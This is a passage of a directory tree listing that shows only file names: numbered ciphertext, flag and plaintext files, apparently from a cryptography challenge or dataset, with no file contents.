│   │   │       │   ├── ciphertext_909
│   │   │       │   ├── ciphertext_910
│   │   │       │   ├── ciphertext_911
│   │   │       │   ├── ciphertext_912
│   │   │       │   ├── ciphertext_913
│   │   │       │   ├── ciphertext_914
│   │   │       │   ├── ciphertext_915
│   │   │       │   ├── ciphertext_916
│   │   │       │   ├── ciphertext_917
│   │   │       │   ├── ciphertext_918
│   │   │       │   ├── ciphertext_919
│   │   │       │   ├── ciphertext_920
│   │   │       │   ├── ciphertext_921
│   │   │       │   ├── ciphertext_922
│   │   │       │   ├── ciphertext_923
│   │   │       │   ├── ciphertext_924
│   │   │       │   ├── ciphertext_925
│   │   │       │   ├── ciphertext_926
│   │   │       │   ├── ciphertext_927
│   │   │       │   ├── ciphertext_928
│   │   │       │   ├── ciphertext_929
│   │   │       │   ├── ciphertext_930
│   │   │       │   ├── ciphertext_931
│   │   │       │   ├── ciphertext_932
│   │   │       │   ├── ciphertext_933
│   │   │       │   ├── ciphertext_934
│   │   │       │   ├── ciphertext_935
│   │   │       │   ├── ciphertext_936
│   │   │       │   ├── ciphertext_937
│   │   │       │   ├── ciphertext_938
│   │   │       │   ├── ciphertext_939
│   │   │       │   ├── ciphertext_940
│   │   │       │   ├── ciphertext_941
│   │   │       │   ├── ciphertext_942
│   │   │       │   ├── ciphertext_943
│   │   │       │   ├── ciphertext_944
│   │   │       │   ├── ciphertext_945
│   │   │       │   ├── ciphertext_946
│   │   │       │   ├── ciphertext_947
│   │   │       │   ├── ciphertext_948
│   │   │       │   ├── ciphertext_949
│   │   │       │   ├── ciphertext_950
│   │   │       │   ├── ciphertext_951
│   │   │       │   ├── ciphertext_952
│   │   │       │   ├── ciphertext_953
│   │   │       │   ├── ciphertext_954
│   │   │       │   ├── ciphertext_955
│   │   │       │   ├── ciphertext_956
│   │   │       │   ├── ciphertext_957
│   │   │       │   ├── ciphertext_958
│   │   │       │   ├── ciphertext_959
│   │   │       │   ├── ciphertext_960
│   │   │       │   ├── ciphertext_961
│   │   │       │   ├── ciphertext_962
│   │   │       │   ├── ciphertext_963
│   │   │       │   ├── ciphertext_964
│   │   │       │   ├── ciphertext_965
│   │   │       │   ├── ciphertext_966
│   │   │       │   ├── ciphertext_967
│   │   │       │   ├── ciphertext_968
│   │   │       │   ├── ciphertext_969
│   │   │       │   ├── ciphertext_970
│   │   │       │   ├── ciphertext_971
│   │   │       │   ├── ciphertext_972
│   │   │       │   ├── ciphertext_973
│   │   │       │   ├── ciphertext_974
│   │   │       │   ├── ciphertext_975
│   │   │       │   ├── ciphertext_976
│   │   │       │   ├── ciphertext_977
│   │   │       │   ├── ciphertext_978
│   │   │       │   ├── ciphertext_979
│   │   │       │   ├── ciphertext_980
│   │   │       │   ├── ciphertext_981
│   │   │       │   ├── ciphertext_982
│   │   │       │   ├── ciphertext_983
│   │   │       │   ├── ciphertext_984
│   │   │       │   ├── ciphertext_985
│   │   │       │   ├── ciphertext_986
│   │   │       │   ├── ciphertext_987
│   │   │       │   ├── ciphertext_988
│   │   │       │   ├── ciphertext_989
│   │   │       │   ├── ciphertext_990
│   │   │       │   ├── ciphertext_991
│   │   │       │   ├── ciphertext_992
│   │   │       │   ├── ciphertext_993
│   │   │       │   ├── ciphertext_994
│   │   │       │   ├── ciphertext_995
│   │   │       │   ├── ciphertext_996
│   │   │       │   ├── ciphertext_997
│   │   │       │   ├── ciphertext_998
│   │   │       │   ├── ciphertext_999
│   │   │       │   ├── flag_00
│   │   │       │   ├── flag_01
│   │   │       │   ├── flag_02
│   │   │       │   ├── flag_03
│   │   │       │   ├── flag_04
│   │   │       │   ├── flag_05
│   │   │       │   ├── flag_06
│   │   │       │   ├── flag_07
│   │   │       │   ├── flag_08
│   │   │       │   ├── flag_09
│   │   │       │   ├── flag_10
│   │   │       │   ├── flag_11
│   │   │       │   ├── flag_12
│   │   │       │   ├── flag_13
│   │   │       │   ├── flag_14
│   │   │       │   ├── flag_15
│   │   │       │   ├── flag_16
│   │   │       │   ├── flag_17
│   │   │       │   ├── flag_18
│   │   │       │   ├── flag_19
│   │   │       │   ├── flag_20
│   │   │       │   ├── flag_21
│   │   │       │   ├── flag_22
│   │   │       │   ├── flag_23
│   │   │       │   ├── flag_24
│   │   │       │   ├── flag_25
│   │   │       │   ├── flag_26
│   │   │       │   ├── flag_27
│   │   │       │   ├── flag_28
│   │   │       │   ├── flag_29
│   │   │       │   ├── flag_30
│   │   │       │   ├── plaintext_000
│   │   │       │   ├── plaintext_001
│   │   │       │   ├── plaintext_002
│   │   │       │   ├── plaintext_003
│   │   │       │   ├── plaintext_004
│   │   │       │   ├── plaintext_005
│   │   │       │   ├── plaintext_006
│   │   │       │   ├── plaintext_007
│   │   │       │   ├── plaintext_008
│   │   │       │   ├── plaintext_009
│   │   │       │   ├── plaintext_010
│   │   │       │   ├── plaintext_011
│   │   │       │   ├── plaintext_012
│   │   │       │   ├── plaintext_013
│   │   │       │   ├── plaintext_014
│   │   │       │   ├── plaintext_015
│   │   │       │   ├── plaintext_016
│   │   │       │   ├── plaintext_017
│   │   │       │   ├── plaintext_018
│   │   │       │   ├── plaintext_019
│   │   │       │   ├── plaintext_020
│   │   │       │   ├── plaintext_021
│   │   │       │   ├── plaintext_022
│   │   │       │   ├── plaintext_023
│   │   │       │   ├── plaintext_024
│   │   │       │   ├── plaintext_025
│   │   │       │   ├── plaintext_026
│   │   │       │   ├── plaintext_027
│   │   │       │   ├── plaintext_028
│   │   │       │   ├── plaintext_029
│   │   │       │   ├── plaintext_030
│   │   │       │   ├── plaintext_031
│   │   │       │   ├── plaintext_032
│   │   │       │   ├── plaintext_033
│   │   │       │   ├── plaintext_034
│   │   │       │   ├── plaintext_035
│   │   │       │   ├── plaintext_036
│   │   │       │   ├── plaintext_037
│   │   │       │   ├── plaintext_038
│   │   │       │   ├── plaintext_039
│   │   │       │   ├── plaintext_040
│   │   │       │   ├── plaintext_041
│   │   │       │   ├── plaintext_042
│   │   │       │   ├── plaintext_043
│   │   │       │   ├── plaintext_044
│   │   │       │   ├── plaintext_045
│   │   │       │   ├── plaintext_046
│   │   │       │   ├── plaintext_047
│   │   │       │   ├── plaintext_048
│   │   │       │   ├── plaintext_049
│   │   │       │   ├── plaintext_050
│   │   │       │   ├── plaintext_051
│   │   │       │   ├── plaintext_052
│   │   │       │   ├── plaintext_053
│   │   │       │   ├── plaintext_054
│   │   │       │   ├── plaintext_055
│   │   │       │   ├── plaintext_056
│   │   │       │   ├── plaintext_057
│   │   │       │   ├── plaintext_058
│   │   │       │   ├── plaintext_059
│   │   │       │   ├── plaintext_060
│   │   │       │   ├── plaintext_061
│   │   │       │   ├── plaintext_062
│   │   │       │   ├── plaintext_063
│   │   │       │   ├── plaintext_064
│   │   │       │   ├── plaintext_065
│   │   │       │   ├── plaintext_066
│   │   │       │   ├── plaintext_067
│   │   │       │   ├── plaintext_068
│   │   │       │   ├── plaintext_069
│   │   │       │   ├── plaintext_070
│   │   │       │   ├── plaintext_071
│   │   │       │   ├── plaintext_072
│   │   │       │   ├── plaintext_073
│   │   │       │   ├── plaintext_074
│   │   │       │   ├── plaintext_075
│   │   │       │   ├── plaintext_076
│   │   │       │   ├── plaintext_077
│   │   │       │   ├── plaintext_078
│   │   │       │   ├── plaintext_079
│   │   │       │   ├── plaintext_080
│   │   │       │   ├── plaintext_081
│   │   │       │   ├── plaintext_082
│   │   │       │   ├── plaintext_083
│   │   │       │   ├── plaintext_084
│   │   │       │   ├── plaintext_085
│   │   │       │   ├── plaintext_086
│   │   │       │   ├── plaintext_087
│   │   │       │   ├── plaintext_088
│   │   │       │   ├── plaintext_089
│   │   │       │   ├── plaintext_090
│   │   │       │   ├── plaintext_091
│   │   │       │   ├── plaintext_092
│   │   │       │   ├── plaintext_093
│   │   │       │   ├── plaintext_094
│   │   │       │   ├── plaintext_095
│   │   │       │   ├── plaintext_096
│   │   │       │   ├── plaintext_097
│   │   │       │   ├── plaintext_098
│   │   │       │   ├── plaintext_099
│   │   │       │   ├── plaintext_100
│   │   │       │   ├── plaintext_1000
│   │   │       │   ├── plaintext_1001
│   │   │       │   ├── plaintext_1002
│   │   │       │   ├── plaintext_1003
│   │   │       │   ├── plaintext_1004
│   │   │       │   ├── plaintext_1005
│   │   │       │   ├── plaintext_1006
│   │   │       │   ├── plaintext_1007
│   │   │       │   ├── plaintext_1008
│   │   │       │   ├── plaintext_1009
│   │   │       │   ├── plaintext_101
│   │   │       │   ├── plaintext_1010
│   │   │       │   ├── plaintext_1011
│   │   │       │   ├── plaintext_1012
│   │   │       │   ├── plaintext_1013
│   │   │       │   ├── plaintext_1014
│   │   │       │   ├── plaintext_1015
│   │   │       │   ├── plaintext_1016
│   │   │       │   ├── plaintext_1017
│   │   │       │   ├── plaintext_1018
│   │   │       │   ├── plaintext_1019
│   │   │       │   ├── plaintext_102
│   │   │       │   ├── plaintext_1020
│   │   │       │   ├── plaintext_1021
│   │   │       │   ├── plaintext_1022
│   │   │       │   ├── plaintext_1023
│   │   │       │   ├── plaintext_1024
│   │   │       │   ├── plaintext_1025
│   │   │       │   ├── plaintext_1026
│   │   │       │   ├── plaintext_1027
│   │   │       │   ├── plaintext_1028
│   │   │       │   ├── plaintext_1029
│   │   │       │   ├── plaintext_103
│   │   │       │   ├── plaintext_1030
│   │   │       │   ├── plaintext_1031
│   │   │       │   ├── plaintext_1032
│   │   │       │   ├── plaintext_1033
│   │   │       │   ├── plaintext_1034
│   │   │       │   ├── plaintext_1035
│   │   │       │   ├── plaintext_1036
│   │   │       │   ├── plaintext_1037
│   │   │       │   ├── plaintext_1038
│   │   │       │   ├── plaintext_1039
│   │   │       │   ├── plaintext_104
│   │   │       │   ├── plaintext_1040
│   │   │       │   ├── plaintext_1041
│   │   │       │   ├── plaintext_1042
│   │   │       │   ├── plaintext_1043
│   │   │       │   ├── plaintext_1044
│   │   │       │   ├── plaintext_1045
│   │   │       │   ├── plaintext_1046
│   │   │       │   ├── plaintext_1047
│   │   │       │   ├── plaintext_1048
│   │   │       │   ├── plaintext_1049
│   │   │       │   ├── plaintext_105
│   │   │       │   ├── plaintext_1050
│   │   │       │   ├── plaintext_1051
│   │   │       │   ├── plaintext_1052
│   │   │       │   ├── plaintext_1053
│   │   │       │   ├── plaintext_1054
│   │   │       │   ├── plaintext_1055
│   │   │       │   ├── plaintext_1056
│   │   │       │   ├── plaintext_1057
│   │   │       │   ├── plaintext_1058
│   │   │       │   ├── plaintext_1059
│   │   │       │   ├── plaintext_106
│   │   │       │   ├── plaintext_1060
│   │   │       │   ├── plaintext_1061
│   │   │       │   ├── plaintext_1062
│   │   │       │   ├── plaintext_1063
│   │   │       │   ├── plaintext_1064
│   │   │       │   ├── plaintext_1065
│   │   │       │   ├── plaintext_1066
│   │   │       │   ├── plaintext_1067
│   │   │       │   ├── plaintext_1068
│   │   │       │   ├── plaintext_1069
│   │   │       │   ├── plaintext_107
│   │   │       │   ├── plaintext_1070
│   │   │       │   ├── plaintext_1071
│   │   │       │   ├── plaintext_1072
│   │   │       │   ├── plaintext_1073
│   │   │       │   ├── plaintext_1074
│   │   │       │   ├── plaintext_1075
│   │   │       │   ├── plaintext_1076
│   │   │       │   ├── plaintext_1077
│   │   │       │   ├── plaintext_1078
│   │   │       │   ├── plaintext_1079
│   │   │       │   ├── plaintext_108
│   │   │       │   ├── plaintext_1080
│   │   │       │   ├── plaintext_1081
│   │   │       │   ├── plaintext_1082
│   │   │       │   ├── plaintext_1083
│   │   │       │   ├── plaintext_1084
│   │   │       │   ├── plaintext_1085
│   │   │       │   ├── plaintext_1086
│   │   │       │   ├── plaintext_1087
│   │   │       │   ├── plaintext_1088
│   │   │       │   ├── plaintext_1089
│   │   │       │   ├── plaintext_109
│   │   │       │   ├── plaintext_1090
│   │   │       │   ├── plaintext_1091
│   │   │       │   ├── plaintext_1092
│   │   │       │   ├── plaintext_1093
│   │   │       │   ├── plaintext_1094
│   │   │       │   ├── plaintext_1095
│   │   │       │   ├── plaintext_1096
│   │   │       │   ├── plaintext_1097
│   │   │       │   ├── plaintext_1098
│   │   │       │   ├── plaintext_1099
│   │   │       │   ├── plaintext_110
│   │   │       │   ├── plaintext_1100
│   │   │       │   ├── plaintext_1101
│   │   │       │   ├── plaintext_1102
│   │   │       │   ├── plaintext_1103
│   │   │       │   ├── plaintext_1104
│   │   │       │   ├── plaintext_1105
│   │   │       │   ├── plaintext_1106
│   │   │       │   ├── plaintext_1107
│   │   │       │   ├── plaintext_1108
│   │   │       │   ├── plaintext_1109
│   │   │       │   ├── plaintext_111
│   │   │       │   ├── plaintext_1110
│   │   │       │   ├── plaintext_1111
│   │   │       │   ├── plaintext_1112
│   │   │       │   ├── plaintext_1113
│   │   │       │   ├── plaintext_1114
│   │   │       │   ├── plaintext_1115
│   │   │       │   ├── plaintext_1116
│   │   │       │   ├── plaintext_1117
│   │   │       │   ├── plaintext_1118
│   │   │       │   ├── plaintext_1119
│   │   │       │   ├── plaintext_112
│   │   │       │   ├── plaintext_1120
│   │   │       │   ├── plaintext_1121
│   │   │       │   ├── plaintext_1122
│   │   │       │   ├── plaintext_1123
│   │   │       │   ├── plaintext_1124
│   │   │       │   ├── plaintext_1125
│   │   │       │   ├── plaintext_1126
│   │   │       │   ├── plaintext_1127
│   │   │       │   ├── plaintext_1128
│   │   │       │   ├── plaintext_1129
│   │   │       │   ├── plaintext_113
│   │   │       │   ├── plaintext_1130
│   │   │       │   ├── plaintext_1131
│   │   │       │   ├── plaintext_1132
│   │   │       │   ├── plaintext_1133
│   │   │       │   ├── plaintext_1134
│   │   │       │   ├── plaintext_1135
│   │   │       │   ├── plaintext_1136
│   │   │       │   ├── plaintext_1137
│   │   │       │   ├── plaintext_1138
│   │   │       │   ├── plaintext_1139
│   │   │       │   ├── plaintext_114
│   │   │       │   ├── plaintext_1140
│   │   │       │   ├── plaintext_1141
│   │   │       │   ├── plaintext_1142
│   │   │       │   ├── plaintext_1143
│   │   │       │   ├── plaintext_1144
│   │   │       │   ├── plaintext_1145
│   │   │       │   ├── plaintext_1146
│   │   │       │   ├── plaintext_1147
│   │   │       │   ├── plaintext_1148
│   │   │       │   ├── plaintext_1149
│   │   │       │   ├── plaintext_115
│   │   │       │   ├── plaintext_1150
│   │   │       │   ├── plaintext_1151
│   │   │       │   ├── plaintext_1152
│   │   │       │   ├── plaintext_1153
│   │   │       │   ├── plaintext_1154
│   │   │       │   ├── plaintext_1155
│   │   │       │   ├── plaintext_1156
│   │   │       │   ├── plaintext_1157
│   │   │       │   ├── plaintext_1158
│   │   │       │   ├── plaintext_1159
│   │   │       │   ├── plaintext_116
│   │   │       │   ├── plaintext_1160
│   │   │       │   ├── plaintext_1161
│   │   │       │   ├── plaintext_1162
│   │   │       │   ├── plaintext_1163
│   │   │       │   ├── plaintext_1164
│   │   │       │   ├── plaintext_1165
│   │   │       │   ├── plaintext_1166
│   │   │       │   ├── plaintext_1167
│   │   │       │   ├── plaintext_1168
│   │   │       │   ├── plaintext_1169
│   │   │       │   ├── plaintext_117
│   │   │       │   ├── plaintext_1170
│   │   │       │   ├── plaintext_1171
│   │   │       │   ├── plaintext_1172
│   │   │       │   ├── plaintext_1173
│   │   │       │   ├── plaintext_1174
│   │   │       │   ├── plaintext_1175
│   │   │       │   ├── plaintext_1176
│   │   │       │   ├── plaintext_1177
│   │   │       │   ├── plaintext_1178
│   │   │       │   ├── plaintext_1179
│   │   │       │   ├── plaintext_118
│   │   │       │   ├── plaintext_1180
│   │   │       │   ├── plaintext_1181
│   │   │       │   ├── plaintext_1182
│   │   │       │   ├── plaintext_1183
│   │   │       │   ├── plaintext_1184
│   │   │       │   ├── plaintext_1185
│   │   │       │   ├── plaintext_1186
│   │   │       │   ├── plaintext_1187
│   │   │       │   ├── plaintext_1188
│   │   │       │   ├── plaintext_1189
│   │   │       │   ├── plaintext_119
│   │   │       │   ├── plaintext_1190
│   │   │       │   ├── plaintext_1191
│   │   │       │   ├── plaintext_1192
│   │   │       │   ├── plaintext_1193
│   │   │       │   ├── plaintext_1194
│   │   │       │   ├── plaintext_1195
│   │   │       │   ├── plaintext_1196
│   │   │       │   ├── plaintext_1197
│   │   │       │   ├── plaintext_1198
│   │   │       │   ├── plaintext_1199
│   │   │       │   ├── plaintext_120
│   │   │       │   ├── plaintext_1200
│   │   │       │   ├── plaintext_1201
│   │   │       │   ├── plaintext_1202
│   │   │       │   ├── plaintext_1203
│   │   │       │   ├── plaintext_1204
│   │   │       │   ├── plaintext_1205
│   │   │       │   ├── plaintext_1206
│   │   │       │   ├── plaintext_1207
│   │   │       │   ├── plaintext_1208
│   │   │       │   ├── plaintext_1209
│   │   │       │   ├── plaintext_121
│   │   │       │   ├── plaintext_1210
│   │   │       │   ├── plaintext_1211
│   │   │       │   ├── plaintext_1212
│   │   │       │   ├── plaintext_1213
│   │   │       │   ├── plaintext_1214
│   │   │       │   ├── plaintext_1215
│   │   │       │   ├── plaintext_1216
│   │   │       │   ├── plaintext_1217
│   │   │       │   ├── plaintext_1218
│   │   │       │   ├── plaintext_1219
│   │   │       │   ├── plaintext_122
│   │   │       │   ├── plaintext_1220
│   │   │       │   ├── plaintext_1221
│   │   │       │   ├── plaintext_1222
│   │   │       │   ├── plaintext_1223
│   │   │       │   ├── plaintext_1224
│   │   │       │   ├── plaintext_1225
│   │   │       │   ├── plaintext_1226
│   │   │       │   ├── plaintext_1227
│   │   │       │   ├── plaintext_1228
│   │   │       │   ├── plaintext_1229
│   │   │       │   ├── plaintext_123
│   │   │       │   ├── plaintext_1230
│   │   │       │   ├── plaintext_1231
│   │   │       │   ├── plaintext_1232
│   │   │       │   ├── plaintext_1233
│   │   │       │   ├── plaintext_1234
│   │   │       │   ├── plaintext_1235
│   │   │       │   ├── plaintext_1236
│   │   │       │   ├── plaintext_1237
│   │   │       │   ├── plaintext_1238
│   │   │       │   ├── plaintext_1239
│   │   │       │   ├── plaintext_124
│   │   │       │   ├── plaintext_1240
│   │   │       │   ├── plaintext_1241
│   │   │       │   ├── plaintext_1242
│   │   │       │   ├── plaintext_1243
│   │   │       │   ├── plaintext_1244
│   │   │       │   ├── plaintext_1245
│   │   │       │   ├── plaintext_1246
│   │   │       │   ├── plaintext_1247
│   │   │       │   ├── plaintext_1248
│   │   │       │   ├── plaintext_1249
│   │   │       │   ├── plaintext_125
│   │   │       │   ├── plaintext_1250
│   │   │       │   ├── plaintext_1251
│   │   │       │   ├── plaintext_1252
│   │   │       │   ├── plaintext_1253
│   │   │       │   ├── plaintext_1254
│   │   │       │   ├── plaintext_1255
│   │   │       │   ├── plaintext_1256
│   │   │       │   ├── plaintext_1257
│   │   │       │   ├── plaintext_1258
│   │   │       │   ├── plaintext_1259
│   │   │       │   ├── plaintext_126
│   │   │       │   ├── plaintext_1260
│   │   │       │   ├── plaintext_1261
│   │   │       │   ├── plaintext_1262
│   │   │       │   ├── plaintext_1263
│   │   │       │   ├── plaintext_1264
│   │   │       │   ├── plaintext_1265
│   │   │       │   ├── plaintext_1266
│   │   │       │   ├── plaintext_1267
│   │   │       │   ├── plaintext_1268
│   │   │       │   ├── plaintext_1269
│   │   │       │   ├── plaintext_127
│   │   │       │   ├── plaintext_1270
│   │   │       │   ├── plaintext_1271
│   │   │       │   ├── plaintext_1272
│   │   │       │   ├── plaintext_1273
│   │   │       │   ├── plaintext_1274
│   │   │       │   ├── plaintext_1275
│   │   │       │   ├── plaintext_1276
│   │   │       │   ├── plaintext_1277
│   │   │       │   ├── plaintext_1278
│   │   │       │   ├── plaintext_1279
│   │   │       │   ├── plaintext_128
│   │   │       │   ├── plaintext_1280
│   │   │       │   ├── plaintext_1281
│   │   │       │   ├── plaintext_1282
│   │   │       │   ├── plaintext_1283
│   │   │       │   ├── plaintext_1284
│   │   │       │   ├── plaintext_1285
│   │   │       │   ├── plaintext_1286
│   │   │       │   ├── plaintext_1287
│   │   │       │   ├── plaintext_1288
│   │   │       │   ├── plaintext_1289
│   │   │       │   ├── plaintext_129
│   │   │       │   ├── plaintext_1290
│   │   │       │   ├── plaintext_1291
│   │   │       │   ├── plaintext_1292
│   │   │       │   ├── plaintext_1293
│   │   │       │   ├── plaintext_1294
│   │   │       │   ├── plaintext_1295
│   │   │       │   ├── plaintext_1296
│   │   │       │   ├── plaintext_1297
│   │   │       │   ├── plaintext_1298
│   │   │       │   ├── plaintext_1299
│   │   │       │   ├── plaintext_130
│   │   │       │   ├── plaintext_1300
│   │   │       │   ├── plaintext_1301
│   │   │       │   ├── plaintext_1302
│   │   │       │   ├── plaintext_1303
│   │   │       │   ├── plaintext_1304
│   │   │       │   ├── plaintext_1305
│   │   │       │   ├── plaintext_1306
│   │   │       │   ├── plaintext_1307
│   │   │       │   ├── plaintext_1308
│   │   │       │   ├── plaintext_1309
│   │   │       │   ├── plaintext_131
│   │   │       │   ├── plaintext_1310
│   │   │       │   ├── plaintext_1311
│   │   │       │   ├── plaintext_1312
│   │   │       │   ├── plaintext_1313
│   │   │       │   ├── plaintext_1314
│   │   │       │   ├── plaintext_1315
│   │   │       │   ├── plaintext_1316
│   │   │       │   ├── plaintext_1317
│   │   │       │   ├── plaintext_1318
│   │   │       │   ├── plaintext_1319
│   │   │       │   ├── plaintext_132
│   │   │       │   ├── plaintext_1320
│   │   │       │   ├── plaintext_1321
│   │   │       │   ├── plaintext_1322
│   │   │       │   ├── plaintext_1323
│   │   │       │   ├── plaintext_1324
│   │   │       │   ├── plaintext_1325
│   │   │       │   ├── plaintext_1326
│   │   │       │   ├── plaintext_1327
│   │   │       │   ├── plaintext_1328
│   │   │       │   ├── plaintext_1329
│   │   │       │   ├── plaintext_133
│   │   │       │   ├── plaintext_1330
│   │   │       │   ├── plaintext_1331
│   │   │       │   ├── plaintext_1332
│   │   │       │   ├── plaintext_1333
│   │   │       │   ├── plaintext_1334
│   │   │       │   ├── plaintext_1335
│   │   │       │   ├── plaintext_1336
│   │   │       │   ├── plaintext_1337
│   │   │       │   ├── plaintext_1338
│   │   │       │   ├── plaintext_1339
│   │   │       │   ├── plaintext_134
│   │   │       │   ├── plaintext_1340
│   │   │       │   ├── plaintext_1341
│   │   │       │   ├── plaintext_1342
│   │   │       │   ├── plaintext_1343
│   │   │       │   ├── plaintext_1344
│   │   │       │   ├── plaintext_1345
│   │   │       │   ├── plaintext_1346
│   │   │       │   ├── plaintext_1347
│   │   │       │   ├── plaintext_1348
│   │   │       │   ├── plaintext_1349
│   │   │       │   ├── plaintext_135
│   │   │       │   ├── plaintext_1350
│   │   │       │   ├── plaintext_1351
│   │   │       │   ├── plaintext_1352
│   │   │       │   ├── plaintext_1353
│   │   │       │   ├── plaintext_1354
│   │   │       │   ├── plaintext_1355
│   │   │       │   ├── plaintext_1356
│   │   │       │   ├── plaintext_1357
│   │   │       │   ├── plaintext_1358
│   │   │       │   ├── plaintext_1359
│   │   │       │   ├── plaintext_136
│   │   │       │   ├── plaintext_1360
│   │   │       │   ├── plaintext_1361
│   │   │       │   ├── plaintext_1362
│   │   │       │   ├── plaintext_1363
│   │   │       │   ├── plaintext_1364
│   │   │       │   ├── plaintext_1365
│   │   │       │   ├── plaintext_1366
│   │   │       │   ├── plaintext_1367
│   │   │       │   ├── plaintext_1368
│   │   │       │   ├── plaintext_1369
│   │   │       │   ├── plaintext_137
│   │   │       │   ├── plaintext_1370
│   │   │       │   ├── plaintext_1371
│   │   │       │   ├── plaintext_1372
│   │   │       │   ├── plaintext_1373
│   │   │       │   ├── plaintext_1374
│   │   │       │   ├── plaintext_1375
│   │   │       │   ├── plaintext_1376
│   │   │       │   ├── plaintext_1377
│   │   │       │   ├── plaintext_1378
│   │   │       │   ├── plaintext_1379
│   │   │       │   ├── plaintext_138
│   │   │       │   ├── plaintext_1380
│   │   │       │   ├── plaintext_1381
│   │   │       │   ├── plaintext_1382
│   │   │       │   ├── plaintext_1383
│   │   │       │   ├── plaintext_1384
│   │   │       │   ├── plaintext_1385
│   │   │       │   ├── plaintext_1386
│   │   │       │   ├── plaintext_1387
│   │   │       │   ├── plaintext_1388
│   │   │       │   ├── plaintext_1389
│   │   │       │   ├── plaintext_139
│   │   │       │   ├── plaintext_1390
│   │   │       │   ├── plaintext_1391
│   │   │       │   ├── plaintext_1392
│   │   │       │   ├── plaintext_1393
│   │   │       │   ├── plaintext_1394
│   │   │       │   ├── plaintext_1395
│   │   │       │   ├── plaintext_1396
│   │   │       │   ├── plaintext_1397
│   │   │       │   ├── plaintext_1398
│   │   │       │   ├── plaintext_1399
│   │   │       │   ├── plaintext_140
│   │   │       │   ├── plaintext_1400
│   │   │       │   ├── plaintext_1401
│   │   │       │   ├── plaintext_1402
│   │   │       │   ├── plaintext_1403
│   │   │       │   ├── plaintext_1404
│   │   │       │   ├── plaintext_1405
│   │   │       │   ├── plaintext_1406
│   │   │       │   ├── plaintext_1407
│   │   │       │   ├── plaintext_1408
│   │   │       │   ├── plaintext_1409
│   │   │       │   ├── plaintext_141
│   │   │       │   ├── plaintext_1410
│   │   │       │   ├── plaintext_1411
│   │   │       │   ├── plaintext_1412
│   │   │       │   ├── plaintext_1413
│   │   │       │   ├── plaintext_1414
│   │   │       │   ├── plaintext_1415
│   │   │       │   ├── plaintext_1416
│   │   │       │   ├── plaintext_1417
│   │   │       │   ├── plaintext_1418
│   │   │       │   ├── plaintext_1419
│   │   │       │   ├── plaintext_142
│   │   │       │   ├── plaintext_1420
│   │   │       │   ├── plaintext_1421
│   │   │       │   ├── plaintext_1422
│   │   │       │   ├── plaintext_1423
│   │   │       │   ├── plaintext_1424
│   │   │       │   ├── plaintext_1425
│   │   │       │   ├── plaintext_1426
│   │   │       │   ├── plaintext_1427
│   │   │       │   ├── plaintext_1428
│   │   │       │   ├── plaintext_1429
│   │   │       │   ├── plaintext_143
│   │   │       │   ├── plaintext_1430
│   │   │       │   ├── plaintext_1431
│   │   │       │   ├── plaintext_1432
│   │   │       │   ├── plaintext_1433
│   │   │       │   ├── plaintext_1434
│   │   │       │   ├── plaintext_1435
│   │   │       │   ├── plaintext_1436
│   │   │       │   ├── plaintext_1437
│   │   │       │   ├── plaintext_1438
│   │   │       │   ├── plaintext_1439
│   │   │       │   ├── plaintext_144
│   │   │       │   ├── plaintext_1440
│   │   │       │   ├── plaintext_1441
│   │   │       │   ├── plaintext_1442
│   │   │       │   ├── plaintext_1443
│   │   │       │   ├── plaintext_1444
│   │   │       │   ├── plaintext_1445
│   │   │       │   ├── plaintext_1446
│   │   │       │   ├── plaintext_1447
│   │   │       │   ├── plaintext_1448
│   │   │       │   ├── plaintext_1449
│   │   │       │   ├── plaintext_145
│   │   │       │   ├── plaintext_1450
│   │   │       │   ├── plaintext_1451
│   │   │       │   ├── plaintext_1452
│   │   │       │   ├── plaintext_1453
│   │   │       │   ├── plaintext_1454
│   │   │       │   ├── plaintext_1455
│   │   │       │   ├── plaintext_1456
│   │   │       │   ├── plaintext_1457
│   │   │       │   ├── plaintext_1458
│   │   │       │   ├── plaintext_1459
│   │   │       │   ├── plaintext_146
│   │   │       │   ├── plaintext_1460
│   │   │       │   ├── plaintext_1461
│   │   │       │   ├── plaintext_1462
│   │   │       │   ├── plaintext_1463
│   │   │       │   ├── plaintext_1464
│   │   │       │   ├── plaintext_1465
│   │   │       │   ├── plaintext_1466
│   │   │       │   ├── plaintext_1467
│   │   │       │   ├── plaintext_1468
│   │   │       │   ├── plaintext_1469
│   │   │       │   ├── plaintext_147
│   │   │       │   ├── plaintext_1470
│   │   │       │   ├── plaintext_1471
│   │   │       │   ├── plaintext_1472
│   │   │       │   ├── plaintext_1473
│   │   │       │   ├── plaintext_1474
│   │   │       │   ├── plaintext_1475
│   │   │       │   ├── plaintext_1476
│   │   │       │   ├── plaintext_1477
│   │   │       │   ├── plaintext_1478
│   │   │       │   ├── plaintext_1479
│   │   │       │   ├── plaintext_148
│   │   │       │   ├── plaintext_1480
│   │   │       │   ├── plaintext_1481
│   │   │       │   ├── plaintext_1482
│   │   │       │   ├── plaintext_1483
│   │   │       │   ├── plaintext_1484
│   │   │       │   ├── plaintext_1485
│   │   │       │   ├── plaintext_1486
│   │   │       │   ├── plaintext_1487
│   │   │       │   ├── plaintext_1488
│   │   │       │   ├── plaintext_1489
│   │   │       │   ├── plaintext_149
│   │   │       │   ├── plaintext_1490
│   │   │       │   ├── plaintext_1491
│   │   │       │   ├── plaintext_1492
│   │   │       │   ├── plaintext_1493
│   │   │       │   ├── plaintext_1494
│   │   │       │   ├── plaintext_1495
│   │   │       │   ├── plaintext_1496
│   │   │       │   ├── plaintext_1497
│   │   │       │   ├── plaintext_1498
│   │   │       │   ├── plaintext_1499
│   │   │       │   ├── plaintext_150
│   │   │       │   ├── plaintext_1500
│   │   │       │   ├── plaintext_1501
│   │   │       │   ├── plaintext_1502
│   │   │       │   ├── plaintext_1503
│   │   │       │   ├── plaintext_1504
│   │   │       │   ├── plaintext_1505
│   │   │       │   ├── plaintext_1506
│   │   │       │   ├── plaintext_1507
│   │   │       │   ├── plaintext_1508
│   │   │       │   ├── plaintext_1509
│   │   │       │   ├── plaintext_151
│   │   │       │   ├── plaintext_1510
│   │   │       │   ├── plaintext_1511
│   │   │       │   ├── plaintext_1512
│   │   │       │   ├── plaintext_1513
│   │   │       │   ├── plaintext_1514
│   │   │       │   ├── plaintext_1515
│   │   │       │   ├── plaintext_1516
│   │   │       │   ├── plaintext_1517
│   │   │       │   ├── plaintext_1518
│   │   │       │   ├── plaintext_1519
│   │   │       │   ├── plaintext_152
│   │   │       │   ├── plaintext_1520
│   │   │       │   ├── plaintext_1521
│   │   │       │   ├── plaintext_1522
│   │   │       │   ├── plaintext_1523
│   │   │       │   ├── plaintext_1524
│   │   │       │   ├── plaintext_1525
│   │   │       │   ├── plaintext_1526
